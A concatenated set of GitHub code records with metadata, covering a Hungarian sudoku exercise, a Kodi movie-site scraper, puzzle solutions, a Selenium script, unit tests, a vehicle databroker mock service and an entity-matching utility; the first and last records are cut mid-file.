x][3*ry: 3*ry + 3]\n resz_tabla.extend(elem_sor)\n return resz_tabla\n\n# sudoku tábla egy 9*9-es 2 dimenziós tömbben (nested list)\ntabla = []\n# lepesek egy n*3-es 2 dimenziós tömbben (nested list)\nlepesek = []\n\n\n# 1. Olvassa be egy fájl nevét, egy sor és egy oszlop sorszámát (1 és 9 közötti számot)!\n# A későbbi feladatokat ezen értékek felhasználásával kell megoldania!\nprint(\"\\n1.feladat\")\nfilename = input(\"Állomány neve = \")\n# filename = \"kozepes.txt\"\nrow = int(input(\"Sor = \"))-1\ncol = int(input(\"Oszlop = \"))-1\n\n\n# 2. Az előző feladatban beolvasott névnek megfelelő fájl tartalmát olvassa be, és tárolja el a táblázat adatait!\nprint(\"\\n2.feladat\")\nwith open(filename, \"r\") as fileBe:\n # elso kilenc sor beolvasasa\n for i in range(0,9):\n # a sort egyből feldaraboljuk: karaktereket tartalmazó listává\n sor = fileBe.readline().strip().split(\" \")\n # és hozzáfűzzük a tömbhöz\n tabla.append(sor)\n # a maradék sor kiolvasása (az állomány végéig)\n while True:\n line = fileBe.readline()\n # ha nem üres stringet olvasunk ki\n if line != \"\":\n datas = line.strip().split(\" \")\n lepesek.append([datas[0], int(datas[1]), int(datas[2])])\n else:\n # vége az állománynak, kilépünk a ciklusból\n break\nprint(\"Adatok beolvasva\")\n\n\n# 3. Írja ki a képernyőre, hogy a beolvasott sor és oszlop értékének megfelelő hely…\n# a. milyen értéket tartalmaz! Ha az adott helyen a 0 olvasható, akkor az „Az adott helyet még nem töltötték ki.” szöveget jelenítse meg!\n# b. melyik résztáblázathoz tartozik!\nprint(\"\\n3.feladat\")\nif tabla[row][col] != \"0\":\n print(f\"a) Érték = {tabla[row][col]}\")\nelse:\n print(\"a) Az adott helyet még nem töltötték ki.\")\nprint(f\"b) Résztábla = {get_resz(row,col)+1}\")\n\n\n# 4. Határozza meg a táblázat hány százaléka nincs még kitöltve! Az eredményt egy tizedesjegy pontossággal jelenítse meg a képernyőn!\nprint(\"\\n4.feladat\")\nossz = len(tabla)*len(tabla[0])\nzerok = 0\n# minden sor egy lista, amelyben megszámoljuk, hány nulla van\nfor i in range(0,len(tabla)):\n zerok += tabla[i].count(\"0\")\nprint(f\"{zerok/ossz:.1%}\")\n\n\n# 5. Vizsgálja meg, hogy a fájlban szereplő lépések lehetségesek-e a beolvasott táblázaton!\n# Tekintse mindegyiket úgy, mintha az lenne az egyetlen lépés az eredeti táblázaton, de ne hajtsa azt végre!\n# Állapítsa meg, hogy okoz-e valamilyen ellentmondást a lépés végrehajtása!\n# Írja ki a lépéshez tartozó három értéket, majd a következő sorba írja az alábbi megállapítások egyikét!\n# # Ha több megállapítás is igaz, elegendő csak egyet megjelenítenie.\n# • „A helyet már kitöltötték”\n# • „Az adott sorban már szerepel a szám”\n# • „Az adott oszlopban már szerepel a szám”\n# • „Az adott résztáblázatban már szerepel a szám”\n# • „A lépés megtehető”\nprint(\"\\n5.feladat\")\nfor i in range(0, len(lepesek)):\n szam = lepesek[i][0]\n row = lepesek[i][1]-1\n col = lepesek[i][2]-1\n if tabla[row][col] != \"0\" :\n print(\"A helyet már kitöltötték\")\n elif szam in tabla[row]:\n print(\"Az adott sorban már szerepel a szám\")\n elif szam in [tabla[i][col] for i in range(0,9)]:\n print(\"Az adott oszlopban már szerepel a szám\")\n elif szam in get_resztabla(get_resz(row,col)):\n print(\"Az adott résztáblázatban már szerepel a szám\")\n else:\n print(\"A lépés megtehető\")\n\n\n \n\n\n","repo_name":"mscharni/eInfPrgPython","sub_path":"einf_2021_okt_sudoku/sudoku_simple.py","file_name":"sudoku_simple.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"hu","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34605926168","text":"import re,urllib,urllib2,urlparse\n\nfrom resources.lib.libraries import cleantitle\nfrom resources.lib.libraries import cloudflare\nfrom resources.lib.libraries import client\nfrom resources.lib.libraries import jsunpack\nfrom resources.lib.resolvers import openload\nfrom resources.lib import resolvers\n\nclass source:\n def __init__(self):\n self.base_link = 'http://toppt.net'\n self.search_link = '/?s=%s'\n\n\n def get_movie(self, imdb, title, year):\n try:\n title,genero_imdb = self.get_portuguese_name(imdb, title, year) \n \n query = self.search_link % (urllib.quote_plus(title))\n query = urlparse.urljoin(self.base_link, query)\n\n #title = cleantitle.movie(title)\n\n result = cloudflare.source(query)\n result = client.parseDOM(result, 'div', attrs = {'id': 'main.+?'})[0] \n result = client.parseDOM(result, 'div', attrs = {'class': 'post clearfix.+?'})\n\n audiopt = 'audio'\n for results in result:\n try:\n audiopt = re.compile('AUDIO:(.+?)
').findall(results.replace(\" \",''))[0]\n if 'PT' in audiopt.upper() and genero_imdb == 'Animation':\n audiopt = 'PT'\n break\n except:audiopt = 'audio'\n\n for results in result:\n try:result_audio = re.compile('AUDIO:(.+?)
').findall(results.replace(\" \",''))[0]\n except: result_audio = 'result_audio'\n try:result_imdb = re.compile('imdb.com/title/(.+?)/').findall(results)[0]\n except: result_imdb = 'result_imdb'\n try:result_title = client.parseDOM(results, 'a', ret='title')[0]\n except:pass\n try:result_url = client.parseDOM(results, 'a', ret='href')[0]\n except:result_url = ''\n try:\n if audiopt == 'PT':\n if imdb == result_imdb and audiopt in result_audio.upper():\n url = result_url\n break\n elif imdb == result_imdb:\n url = result_url\n break\n except: pass\n return url\n except:\n return\n\n\n def get_sources(self, url, hosthdDict, hostDict, locDict):\n## sources = []\n## sources.append({'source': 'Videomega', 'quality': 'HD', 'provider': 'TopPt'+url, 'url': url})\n try:\n sources = []\n\n if url == None: return sources\n\n url = url.replace(self.base_link,'')\n\n result = cloudflare.source(urlparse.urljoin(self.base_link, url))\n\n try:audiopt = re.compile('AUDIO:(.+?)
').findall(result.replace(\" \",''))[0]\n except:audiopt = 'audio'\n if 'PT' in audiopt.upper(): audio_filme = ' | PT-PT'\n else: audio_filme = ''\n\n try:\n try:quality = re.compile('VERS.+?:(.+?)
').findall(result.replace(' ',''))[0]\n except:quality = re.compile('RELEASE:(.+?)
').findall(result.replace(' ',''))[0]\n quality = quality.strip().upper()\n if 'CAM' in quality or 'TS' in quality: quality = 'CAM'\n elif 'SCREENER' in quality: quality = 'SCR'\n elif 'BRRIP' in quality or 'BDRIP' in quality or 'HDRIP' in quality or '720P' in quality: quality = 'HD'\n elif '1080P' in quality: quality = '1080p'\n else: quality = 'SD'\n except: quality = 'SD'\n\n host_url = re.compile('(.+?)').findall(result.replace(' ',''))\n for url,host in host_url:\n host = host.strip().lower()\n if 'openload' in host:\n try:\n if openload.check(url) == False: raise Exception()\n sources.append({'source': 'Openload'+audio_filme, 'quality': quality, 'provider': 'TopPt', 'url': url})\n except:\n pass\n elif 'videomega' in host:\n try:\n url = re.compile('hashkey=([\\w]+)').findall(result)\n url += re.compile('ref=[\\'|\\\"](.+?)[\\'|\\\"]').findall(result)\n url = 'http://videomega.tv/cdn.php?ref=%s' % url[0]\n url = resolvers.request(url)\n if url == None: raise Exception()\n sources.append({'source': 'Videomega'+audio_filme, 'quality': quality, 'provider': 'TopPt', 'url': url})\n except:\n pass \n if 'openload' not in host and 'trailer' not in host: sources.append({'source': host+audio_filme, 'quality': quality, 'provider': 'TopPt', 'url': url})\n return sources\n except:\n return sources\n\n def get_portuguese_name(self, imdb, title, year):\n try:\n genero_imdb = 'genero_imdb'\n genre_imdb = 'http://akas.imdb.com/title/'+imdb+'/?ref_=fn_al_tt_1'\n req = urllib2.Request(genre_imdb)\n req.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-Pt; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18')\n response = urllib2.urlopen(req)\n genre_imdb=response.read()\n response.close()\n \n titulo=re.compile('itemprop=\"name\">(.+?)').findall(genre_imdb)\n if titulo:\n t = titulo[0]\n titulo = str(t)\n else: titulo = str(title)\n genre_imdb = client.parseDOM(genre_imdb, 'span', attrs = {'class': 'itemprop.+?'}) \n for i in genre_imdb:\n if 'Animation' in i:\n genero_imdb = 'Animation'\n title = str(titulo).replace(':','')\n break\n return title,genero_imdb\n except:\n return title,genero_imdb\n\n\n def resolve(self, url):\n try:\n if 'videowood' in url:\n try:\n packed = cloudflare.source(url.replace('/video/','/embed/'))\n packed = re.compile('eval(.+?)').findall(packed.replace(\"\\n\", \"\").replace(\" \",\"\"))[0]\n packed = 'eval'+packed.replace('\\\\','')\n unpacked = jsunpack.unpack(packed)\n url = re.compile('\"file\":\"(.+?)\"').findall(unpacked)#[1]\n url = [i for i in url if not i.endswith('.srt') and not i.endswith('.png')][0]\n except:\n pass\n else: url = resolvers.request(url)\n return url\n except:\n return\n\n\n","repo_name":"OMaluco/O_Repositorio_Maluco-","sub_path":"plugin.video.genesisSDP/resources/lib/sources/toppt_mv.py","file_name":"toppt_mv.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7765708858","text":"def c1(lines):\n\ttot = 0\n\tfor l in lines:\n\t\ttmp = l.split(\",\")\n\t\tpair1 = list(map(lambda x: int(x), tmp[0].split(\"-\")))\n\t\tpair2 = list(map(lambda x: int(x.strip()), tmp[1].split(\"-\")))\n\t\tif (pair1[0] <= pair2[0] and pair2[1] <= pair1[1]) or (pair2[0] <= pair1[0] and pair1[1] <= pair2[1]):\n\t\t\ttot+=1\n\tprint(\"challenge 1:\",tot)\n\t\t\t\n\ndef c2(lines):\n\ttot = 0\n\tfor l in lines:\n\t\ttmp = l.split(\",\")\n\t\tpair1 = list(map(lambda x: int(x), tmp[0].split(\"-\")))\n\t\tpair2 = list(map(lambda x: int(x.strip()), tmp[1].split(\"-\")))\n\t\tif (pair2[0] <= pair1[0] <= pair2[1] or pair2[0] <= pair1[1] <= pair2[1] or pair1[0] <= pair2[0] <= pair1[1] or pair1[0] <= pair2[1] <= pair1[1]):\n\t\t\ttot += 1 \n\tprint(\"challenge 2:\", tot)\n\t\nwith open(\"input.txt\", \"r\") as f:\n\tlines = f.readlines()\n\tc1(lines)\n\tc2(lines)\n\n","repo_name":"Fef0/AdventOfCode2022","sub_path":"04-12-2022/04-12-2022.py","file_name":"04-12-2022.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35022798281","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\nimport math\n\ntry:\n link = \"http://suninjuly.github.io/selects1.html\"\n browser = webdriver.Chrome()\n browser.get(link)\n \n # Находим первое заначение и переводим в число\n a_element = browser.find_element(By.ID, \"num1\")\n a = int(a_element.text)\n # Находим второе заначение и переводим в число\n b_element = browser.find_element(By.ID, \"num2\")\n b = int(b_element.text)\n # Находим сумму \n x= a+b\n # Находим значение Х в выпадающем меню и кликаем по нему\n browser.find_element(By.CSS_SELECTOR, (f\"[value='{x}']\")).click()\n \n # Находим кнопку Select и кликаем по кнопке\n button = browser.find_element(By.CSS_SELECTOR, \"button.btn\")\n button.click()\n \n time.sleep(1)\n\t\nfinally:\n # ожидание чтобы визуально оценить результаты прохождения скрипта\n time.sleep(10)\n # закрываем браузер после всех манипуляций\n browser.quit()","repo_name":"ElenaProkorym/stepik_auto_tests_course","sub_path":"lesson6_step13.py","file_name":"lesson6_step13.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71060330115","text":"#!/usr/bin/python3\n\nimport unittest\nimport json\nfrom models.base_model import BaseModel\nfrom models.user import User\nfrom models import storage\nfrom os import path\n\n\nclass TestBase(unittest.TestCase):\n def test_all(self):\n base = BaseModel()\n all_storage = storage.all()\n self.assertIsNotNone(all_storage)\n self.assertEqual(all_storage, storage.all())\n self.assertIs(all_storage, storage.all())\n\n def test_new(self):\n all_storage = storage.all()\n User_ = User()\n User_.name = \"Bill\"\n user_id = User_.id\n storage.new(User_)\n self.assertIsNotNone(all_storage[User_.__class__.__name__ + \".\" + User_.id])\n\n def test_save(self):\n base = BaseModel()\n base.save\n with open(self.__file_path, \"r\") as f:\n dict_of_dict = json.load(f) \n self.assertIsNotNone(dict_of_dict)\n self.assertEqual(dict, type(dict_of_dict))\n self.assertTrue(os.path.exists(self.__file_path))\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Babadu31/holbertonschool-AirBnB_clone","sub_path":"tests/test_models/test_engine/test_file_storage.py","file_name":"test_file_storage.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23425979631","text":"import fileinput\ndef time(imp,n):\n global F\n return (imp/(2+n*F))\n\ndef costo(x,n):\n global C\n if (x,n) in tab :\n return tab[(x,n)]\n else:\n coston=0\n if n==0:\n return time(x,0)\n tab[(x,0)]=time(x,0)\n else:\n #print(\"x \", x, \"n \",n , \"C \" ,C)\n coston=time(x,n)+costo(C,n-1)\n tab[(x,n)]=coston\n\n return coston \n\nglobal C,F,X,tab\n\nmini=0\nleggi=fileinput.input()\nnumCases=(int)(leggi.readline())\nfor i in range(numCases):\n read=leggi.readline().split()\n tab={}\n C=float(read[0])\n F=float(read[1])\n X=float(read[2])\n ni=0\n cond=0\n while(cond==0):\n min=costo(X,ni)\n if costo(X,ni+1) > costo(X,ni) :\n cond=1\n else:\n ni+=1\n print(\"Case #\"+str(i+1)+\": \"+\"%.7f\"% min) \n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/2802.py","file_name":"2802.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38547222704","text":"import globals\r\nfrom turtle import Turtle\r\n\r\nLEFT_LIM = (globals.WIDTH / 2) * -1\r\nRIGHT_LIM = globals.WIDTH / 2\r\nUP_LIM = globals.HEIGHT / 2\r\nDOWN_LIM = (globals.HEIGHT / 2) * -1\r\n\r\n\r\nclass Paddle(Turtle):\r\n def __init__(self):\r\n super().__init__()\r\n pos_x = 0\r\n pos_y = DOWN_LIM + 40\r\n self.shape('square')\r\n self.color('#e9ecef')\r\n self.up()\r\n self.goto(x=pos_x, y=pos_y)\r\n self.shapesize(1, globals.PADDLE_SIZE)\r\n\r\n def move_left(self):\r\n new_x = self.xcor() - globals.MOVEMENT\r\n if new_x >= LEFT_LIM + (globals.PADDLE_WIDTH / 2):\r\n self.setx(new_x)\r\n\r\n def move_right(self):\r\n new_x = self.xcor() + globals.MOVEMENT\r\n if new_x <= RIGHT_LIM - (globals.PADDLE_WIDTH / 2):\r\n self.setx(new_x)\r\n","repo_name":"60659/breakout","sub_path":"paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24363492931","text":"import asyncio\nimport logging\nimport os\nimport signal\nimport threading\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\nfrom typing import Any, Dict, Iterator, List\n\nimport grpc\nfrom kuksa.val.v1.types_pb2 import Field\nfrom kuksa.val.v1.val_pb2 import SubscribeEntry, SubscribeRequest, SubscribeResponse\nfrom lib.animator import Animator\nfrom lib.baseservice import BaseService, is_grpc_fatal_error\nfrom lib.behavior import Behavior, BehaviorExecutor\nfrom lib.datapoint import MockedDataPoint\nfrom lib.loader import PythonDslLoader\nfrom lib.types import Event\nfrom sdv.databroker.v1.broker_pb2 import GetMetadataReply, GetMetadataRequest\nfrom sdv.databroker.v1.collector_pb2 import (\n RegisterDatapointsRequest,\n RegistrationMetadata,\n UpdateDatapointsRequest,\n)\nfrom sdv.databroker.v1.types_pb2 import DataType, Metadata\n\nSERVICE_NAME = \"mock_service\"\n\nlog = logging.getLogger(SERVICE_NAME)\nevent = threading.Event()\n\n# Mock Service bind \"host:port\"\nMOCK_ADDRESS = os.getenv(\"MOCK_ADDR\", \"0.0.0.0:50053\")\n\n# Data point events from VDB\nEVENT_KEY_ACTUATOR_TARGET = \"actuator_target\"\nEVENT_KEY_VALUE = \"value\"\n\n\nclass MockService(BaseService):\n \"\"\"Service implementation which reads custom mocking configuration\n from mock.py and then simulated the programmed behavior of the mocked\n datapoints.\"\"\"\n\n def __init__(self, service_address: str):\n super().__init__(service_address, SERVICE_NAME)\n self._ids: Dict[str, Any] = dict()\n self._registered = False\n self._last_tick = time.perf_counter()\n self._pending_event_list: List[Event] = list()\n self._animators: List[Animator] = list()\n self._vdb_metadata: Dict[str, Metadata] = dict()\n self._mocked_datapoints: Dict[str, MockedDataPoint] = dict()\n self._behaviors: List[Behavior] = list()\n\n def on_databroker_connected(self):\n \"\"\"Callback when a connection to the data broker is established.\"\"\"\n if not self._registered:\n self._read_metadata()\n\n loader_result = PythonDslLoader().load(self._vdb_metadata)\n self._mocked_datapoints = loader_result.mocked_datapoints\n for _, datapoint in self._mocked_datapoints.items():\n datapoint.value_listener = self._on_datapoint_updated\n self._behaviors = loader_result.behavior_dict\n\n self._behavior_executor = BehaviorExecutor(\n self._mocked_datapoints, self._behaviors, self._pending_event_list\n )\n self._register_datapoints()\n self._subscribe_to_mocked_datapoints()\n self._feed_initial_values()\n self._registered = True\n\n def main_loop(self):\n \"\"\"Main execution loop which checks if behaviors shall be executed.\"\"\"\n # wait for datapoints to be registered\n while not self._registered:\n time.sleep(1)\n\n try:\n while True:\n current_tick_time = time.perf_counter()\n delta_time: float = current_tick_time - self._last_tick\n self._behavior_executor.execute(delta_time, self._animators)\n\n remove_animators: List[Animator] = list()\n for animator in self._animators:\n if not animator.is_done():\n animator.tick(delta_time)\n else:\n remove_animators.append(animator)\n\n for animator in remove_animators:\n self._animators.remove(animator)\n\n self._last_tick = time.perf_counter()\n time.sleep(0.1)\n except Exception as exception:\n log.exception(exception)\n\n def _on_datapoint_updated(self, datapoint: MockedDataPoint):\n \"\"\"Callback whenever the value of a mocked datapoint changes.\"\"\"\n self._set_datapoint(datapoint.path, datapoint.data_type, datapoint.value)\n\n def _read_metadata(self):\n \"\"\"Read metadata from data broker.\"\"\"\n request = GetMetadataRequest()\n reply: GetMetadataReply = self._stub_broker.GetMetadata(\n request, metadata=self._metadata\n )\n for metadata in reply.list:\n self._vdb_metadata[metadata.name] = metadata\n\n def _register_datapoints(self):\n \"\"\"Register mocked datapoints at data broker.\"\"\"\n for datapoint in self._mocked_datapoints.values():\n if datapoint.is_mocked:\n metadata = self._vdb_metadata[datapoint.path]\n self._register(datapoint.path, metadata.data_type, metadata.change_type)\n\n def _feed_initial_values(self):\n \"\"\"Provide initial values of all mocked datapoints to data broker.\"\"\"\n for datapoint in self._mocked_datapoints.values():\n if datapoint.data_type is not None:\n self._set_datapoint(\n datapoint.path, datapoint.data_type, datapoint.value\n )\n\n def _mock_update_request_handler(\n self, response_iterator: Iterator[SubscribeResponse]\n ) -> None:\n \"\"\"Callback when an update event is received from data broker.\"\"\"\n try:\n for response in response_iterator:\n for update in response.updates:\n if update.entry.HasField(EVENT_KEY_ACTUATOR_TARGET):\n mocked_datapoint = self._mocked_datapoints[update.entry.path]\n raw_value = getattr(\n update.entry.actuator_target,\n MockService._get_value_attribute_name(\n mocked_datapoint.data_type\n ),\n )\n self._pending_event_list.append(\n Event(\n EVENT_KEY_ACTUATOR_TARGET, update.entry.path, raw_value\n )\n )\n if update.entry.HasField(EVENT_KEY_VALUE):\n mocked_datapoint = self._mocked_datapoints[update.entry.path]\n raw_value = getattr(\n update.entry.value,\n MockService._get_value_attribute_name(\n mocked_datapoint.data_type\n ),\n )\n self._pending_event_list.append(\n Event(EVENT_KEY_VALUE, update.entry.path, raw_value)\n )\n except Exception as e:\n log.exception(e)\n raise\n\n def _subscribe_to_mocked_datapoints(self):\n \"\"\"Subscribe to mocked datapoints.\"\"\"\n log.info(\"Subscribing to mocked datapoints...\")\n\n # wait until the stub is available\n while self._stub_val is None:\n time.sleep(1)\n\n request = SubscribeRequest()\n for mocked_datapoint in self._mocked_datapoints.values():\n entry = SubscribeEntry(path=mocked_datapoint.path)\n if mocked_datapoint.data_type is not None:\n entry.fields.append(Field.FIELD_ACTUATOR_TARGET)\n else:\n entry.fields.append(Field.FIELD_VALUE)\n request.entries.append(entry)\n\n response_iter = self._stub_val.Subscribe(request, metadata=self._metadata)\n self._executor = ThreadPoolExecutor()\n self._executor.submit(self._mock_update_request_handler, response_iter)\n\n def _register(self, name, data_type, change_type):\n \"\"\"Register a single data point with data broker.\"\"\"\n request = RegisterDatapointsRequest()\n registration_metadata = RegistrationMetadata()\n registration_metadata.name = name\n registration_metadata.data_type = data_type\n registration_metadata.description = \"\"\n registration_metadata.change_type = change_type\n request.list.append(registration_metadata)\n response = self._stub.RegisterDatapoints(request, metadata=self._metadata)\n self._ids[name] = response.results[name]\n\n @staticmethod\n def _get_value_attribute_name(data_type: DataType, suffix: str = \"\") -> str:\n \"\"\"Get the value attribute name for datapoint types returned via gRPC.\"\"\"\n return f\"{DataType.Name(data_type).lower().replace('8','32').replace('16', '32')}{suffix}\"\n\n def _set_datapoint(self, name: str, data_type: DataType, value: Any):\n \"\"\"Set the value of a datapoint within databroker.\"\"\"\n _id = self._ids[name]\n request = UpdateDatapointsRequest()\n\n setattr(\n request.datapoints[_id],\n MockService._get_value_attribute_name(data_type, \"_value\"),\n value,\n )\n try:\n log.info(\"Feeding '%s' with value %s\", name, value)\n self._stub.UpdateDatapoints(request, metadata=self._metadata)\n except grpc.RpcError as err:\n log.warning(\"Feeding %s failed\", name, exc_info=True)\n self._connected = is_grpc_fatal_error(err)\n raise err\n\n\nasync def main():\n \"\"\"Main function\"\"\"\n mock_service = MockService(MOCK_ADDRESS)\n mock_service.main_loop()\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n log.setLevel(logging.DEBUG)\n LOOP = asyncio.get_event_loop()\n LOOP.add_signal_handler(signal.SIGTERM, LOOP.stop)\n LOOP.run_until_complete(main())\n LOOP.close()\n","repo_name":"ley901017/kuksa.val.services","sub_path":"mock_service/mockservice.py","file_name":"mockservice.py","file_ext":"py","file_size_in_byte":9383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"25212064185","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 31 14:26:29 2018\n\n@author: KAUSTAV\n\"\"\"\n\nimport numpy\nnumpy.__version__\nimport pandas\npandas.__version__\nimport pandas as pd\n\ndata = pd.Series([0.25,0.5,0.75,1.0])\n\ndata.values\n\ndata=pd.Series([0.25,0.5,0.75,1.0],index=['a','b','c','d'])\ndata\n\ndata['b']\n\ndata=pd.Series([0.25,0.5,0.75,1.0],index=[2,5,3,7])\ndata\ndata[5]\n\npopulation_dict = {'Delhi':1,\n 'Kolkata':2,\n 'Noida':3,\n 'Mumbai':4,\n 'Guwahati':5}\n\npopulation_dict['California']\npopulation_dict['California':'Illinois']\n\npd.Series(5, index=[100,200,300])\n\npd.Series({2:'a',1:'b',3:'c'},index=[3,2])\n\n\npopulation=[100,200,300]\narea=[10,20,30]\npd.DataFrame({'population':population,'area':area})\n\npd.DataFrame(population, columns=['population'])\n\nrollno = [1,2,3]\nnames = ['A','B','C']\ndf1=pd.DataFrame(rollno,names,)\n\nsdata2 = pd.DataFrame(list(zip(rollno,names)))\n\npd.DataFrame(np.random.rand(3,2),columns=['foo','bar'],index=['a','b','c'])\n\npd.index([2,3,5,7,11])\n\nindA = pd.Index([1,3,5,7,9])\nindB = pd.Index([2,3,5,7,11])\nindA & indB\nindA|indB\n\ndata.iloc[1]\n\ndata.iloc[1:3]\n\ndata['area']\ndata.area\n\ndata.area is data['area']\n\ndata.T\n\ndata.values[0]\n\n\n\n\n\n\n\n","repo_name":"KSTVCHATTERJEE/Py_in_Action","sub_path":"pandas/untitled0.py","file_name":"untitled0.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11711320087","text":"#!/usr/bin/python3\n\"\"\"\n this module contains a method to\n calculate how much water will be retained after it rains.\n\"\"\"\n\n\ndef rain(walls):\n \"\"\"calculate how much water will be retained after it rains.\"\"\"\n if not walls or len(walls) == 0:\n return 0\n\n volume = 0\n left, right = 0, len(walls) - 1\n l_max, r_max = walls[left], walls[right]\n\n while left < right:\n l_max, r_max = max(walls[left], l_max), max(walls[right], r_max)\n if l_max <= r_max:\n volume += l_max - walls[left]\n left += 1\n else:\n volume += r_max - walls[right]\n right -= 1\n return volume\n","repo_name":"FatChicken277/holbertonschool-interview","sub_path":"0x10-rain/0-rain.py","file_name":"0-rain.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70319207234","text":"import re\nfrom collections import defaultdict as ddict\nimport dill\nimport scipy.sparse as sp\nimport unidecode\nfrom rdflib import URIRef\n\nfrom util import short_str, dameraulevenshtein, get_deletes_list\n\n\nclass EntityDisamb:\n def __init__(self, path, ents_dict):\n self.ents_dict = ents_dict\n self.inv_ents_dict = {k: v for v, k in self.ents_dict.items()}\n self.sim_sets = ddict(lambda: set())\n rows, cols = [], []\n for line in open(path, \"rb\"):\n triple = line.split(\" \")\n if len(triple) == 4 and triple[0] and triple[2]:\n s, o = triple[0][1:-1], triple[2][1:-1]\n s = URIRef(s)\n o = URIRef(o)\n\n s_id, o_id = None, None\n if s in self.ents_dict:\n s_id = ents_dict[s]\n if o in self.ents_dict:\n o_id = ents_dict[o]\n\n if s_id and o_id:\n rows += [s_id, o_id]\n cols += [o_id, s_id]\n else:\n if not s_id and o_id:\n self.sim_sets[s].add(o_id)\n if not o_id and s_id:\n self.sim_sets[o].add(s_id)\n\n for k, v in self.sim_sets.items():\n if len(v):\n for i in v:\n for j in v:\n if j != i:\n rows.append(i)\n cols.append(j)\n self.A = sp.coo_matrix(([True] * len(rows), (rows, cols)), shape=(len(ents_dict), len(ents_dict)), dtype=bool)\n self.A = self.A.tocsr()\n\n def __getitem__(self, key):\n return self.A.__getitem__(key)\n\n def suggestions(self, ent):\n return self.A[ent].indices\n\n def save(self, path):\n dill.dump(self, open(path, \"wb\"))\n\n @staticmethod\n def load(path):\n return dill.load(open(path, \"rb\"))\n\n\nclass EntityASM:\n def __init__(self, max_edit_distance=1, k=10, verbose=True):\n self.dictionary = {}\n self.hash_deletes = ddict(lambda: [])\n self.similar_tokens = ddict(lambda: [])\n self.max_edit_distance = max_edit_distance\n self.k = k\n self.verbose = verbose\n self.longest_word_length = 0\n self.ent_word_counts = {}\n\n def create_dictionary_entry(self, w, entity=[]):\n # print(w)\n '''add word and its derived deletions to dictionary'''\n # check if word is already in dictionary\n # dictionary entries are in the form: (list of suggested corrections,\n # frequency of word in corpus)\n\n if w in self.dictionary:\n # increment count of word in corpus\n self.dictionary[w] = (self.dictionary[w][0] + 1, self.dictionary[w][1] + entity)\n else:\n self.dictionary[w] = (1, entity)\n self.longest_word_length = max(self.longest_word_length, len(w))\n\n self.hash_deletes[w].append(w)\n deletes = get_deletes_list(w, self.max_edit_distance)\n for item in deletes:\n self.hash_deletes[item].append(w)\n\n def create_dictionary(self, ents_dict):\n if isinstance(ents_dict.keys()[0], int):\n self.ents_dict = ents_dict\n else:\n self.ents_dict = {k: v for v, k in ents_dict.items()}\n total_word_count = 0\n unique_word_count = 0\n print(\"Creating dictionary...\")\n for id, ent in self.ents_dict.items():\n # separate by words by non-alphabetical characters\n line = short_str(ent)\n line = line.decode(\"utf-8\")\n line = unidecode.unidecode(line)\n words = self.get_words(line)\n self.ent_word_counts[id] = len(words)\n for word in words:\n total_word_count += 1\n if self.create_dictionary_entry(word, [id]):\n unique_word_count += 1\n\n for k, tokens in self.hash_deletes.items():\n for t in tokens:\n self.similar_tokens[t].extend(tokens)\n\n for k, v in self.similar_tokens.items():\n self.similar_tokens[k] = set(v)\n del self.hash_deletes\n\n if self.verbose:\n print(\"total words processed: %i\" % total_word_count)\n print(\"total unique words in corpus: %i\" % unique_word_count)\n print(\"total items in dictionary (corpus words and deletions): %i\" % len(self.dictionary))\n print(\" edit distance for deletions: %i\" % self.max_edit_distance)\n print(\" length of longest word in corpus: %i\" % self.longest_word_length)\n\n def get_words(self, string):\n string = re.sub(\"_?\\(.*\\)\", \"\", string.lower())\n words = re.findall('[a-z]+', string) # [1:]\n return words\n\n def get_similar_entities(self, entity, id=True, silent=True, match_all_words=False):\n string = short_str(entity)\n return self.get_suggestions(string, id=id, silent=silent, match_all_words=match_all_words)\n\n def get_suggestions(self, string, id=True, silent=True, match_all_words=False):\n query_words = self.get_words(string)\n all_sugestions = []\n len_query = len(query_words)\n for word in query_words:\n all_sugestions += self.get_word_suggestions(word, silent=silent)\n\n results = {}\n for word, (freq, dist, ent_ids, w) in all_sugestions:\n for ent_id in ent_ids:\n ent = ent_id if id else self.ents_dict[ent_id]\n if ent not in results:\n results[ent] = (set([w]), dist, self.ent_word_counts[ent_id])\n else:\n results[ent][0].add(w)\n results[ent] = (results[ent][0], results[ent][1] + dist, results[ent][2])\n\n if match_all_words:\n results = {ent: (matches, dist, nwords) for ent, (matches, dist, nwords) in results.items() if\n len(matches) == len_query}\n\n results = sorted(results.items(), key=lambda ent, matches_dist_nwords: (\n -len(matches_dist_nwords[0]), matches_dist_nwords[1] + 1.5 * float(len_query - len(matches_dist_nwords[0])) / len_query))\n return results[:self.k]\n\n def get_word_suggestions(self, string, silent=True):\n '''return list of suggested corrections for potentially incorrectly\n spelled word'''\n if (len(string) - self.longest_word_length) > 